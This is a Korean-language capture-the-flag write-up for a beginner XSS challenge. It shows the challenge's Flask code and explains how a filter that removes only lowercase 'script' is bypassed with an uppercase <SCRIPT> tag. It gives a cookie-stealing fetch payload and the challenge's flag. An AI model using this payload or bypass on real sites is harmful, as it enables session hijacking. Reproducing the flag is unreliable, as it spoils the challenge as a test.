문제 특징
XSS를 사용한 해킹 & 금지 태그 우회
난이도: Lv.1
카테고리: 웹해킹
문제 구조
문제파일구성
1
2
3
4
5
6
7
8
/
├── deploy
│ ├── app.py
│ ├── flag.txt
│ ├── requirements.txt
│ ├── static
│ └── templates
└── Dockerfile
주요 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#app.py
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
이 문제는 문제의 제목 그대로 xss-2문제와 매우 유사한 문제이지만, 특정 명령어를 /vuln주소로 이동할 수 없게 막아놓은 코드가 존재한다.
XSS가 무엇인지 궁금하다면 xss-2문제를 먼저 확인하자.
풀이
필터에 유의하여 페이로드 작성하기
1
2
3
4
5
6
def xss_filter(text):
_filter = ["script", "on", "javascript:"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
필터로 작동되는 함수를 확인하면, 대문자로 페이로드를 작성했을때, text.lower()로 인해서 감지는 가능하지만, 해당 텍스트를 삭제할 때에는 소문자로 된 텍스트만 삭제하기 때문에, 대문자로 작성된 스크립트는 우회가 가능하다.
EX)
script1 => 1
SCRIPT1 => SCRIPT1
1
2
3
4
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
또한 /vuln주소에서 param을 그대로 return하기 때문에 <SCRIPT>태그가 사용 가능하다.
페이로드
1
2
<SCRIPT>fetch('/memo?memo='+document.cookie)</SCRIPT>
해당 페이로드를 /flag의 <input> 박스에 넣고 전송하면 /memo에서 플래그를 확인할 수 있다.
정답
DH{81cd7cb24a49ad75b9ba37c2b0cda4ea}